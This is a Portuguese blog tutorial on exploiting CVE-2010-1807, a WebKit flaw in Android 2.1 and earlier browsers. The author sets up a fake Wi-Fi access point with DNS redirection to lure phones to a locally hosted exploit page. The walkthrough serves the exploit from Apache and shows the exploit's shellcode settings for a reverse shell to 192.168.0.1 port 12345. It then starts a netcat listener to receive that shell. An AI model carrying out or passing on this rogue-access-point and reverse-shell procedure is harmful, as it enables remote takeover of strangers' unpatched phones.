Recentemente foi publicada uma vulnerabilidade no WebKit (CVE-2010-1807), utilizado pelo Safari e Chrome, que também afeta o browser dos celulares Android.
A vulnerabilidade foi descoberta por M.J. Keith, quem também
publicou um exploit durante uma
conferência em Houston, e logo Itzhak Avraham
realizou algumas melhorias no mesmo, para dar-lhe maior grau de sucesso na exploração.
Esta vulnerabilidade afeta os celulares Android com a versão 2.1 e inferiores, e apesar da última versão 2.2 não ser afetada, nem todos os fabricantes ou operadoras obrigam seus usuários a atualizar o software.
Por exemplo, em meus testes, utilizei um Motorola Milestone com Android 2.1-update1, e apesar da versão 2.2 estar disponível há um bom tempo, apenas recentemente a Motorola começou a realizar os upgrades para o Milestone na América Latina, isso no primeiro trimestre de 2011.
Uma vergonha por parte dos fabricantes e operadoras! Lembrando que já está disponível a versão 2.3 do Android, agora em Março/2011.
Explorando o Android
Para explorar essa vulnerabilidade, o celular com Android deve acessar um site web que possua o código malicioso.
Poderíamos fazer isso na internet, ou como vamos fazer a seguir, levantar um Access Point falso para liberar o acesso à Internet para pessoas com celulares, e quando realizarem uma requisição específica de DNS, redirecionaremos à um site hospedado localmente com o código malicioso.
Preparando o Exploit
Baixamos o exploit e o deixamos no home do Apache com o nome "index.html":
# nano /var/www/index.html
[cole o conteúdo do exploit dentro desse arquivo, e salve]
# /etc/init.d/apache2 start
Nas primeiras linhas do exploit melhorado por Itzhak, podemos encontrar a possibilidade de facilmente alterar o endereço IP e a porta do shellcode:
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
Nesse caso, uma vez que a exploração tenha sucesso, será criada uma conexão reversa para o IP "192.168.0.1" na porta "12345", para a qual devemos já ter deixado em estado de escuta o netcat nessa porta:
# nc -l -p 12345 -n -vvv
listening on [any] 12345 ...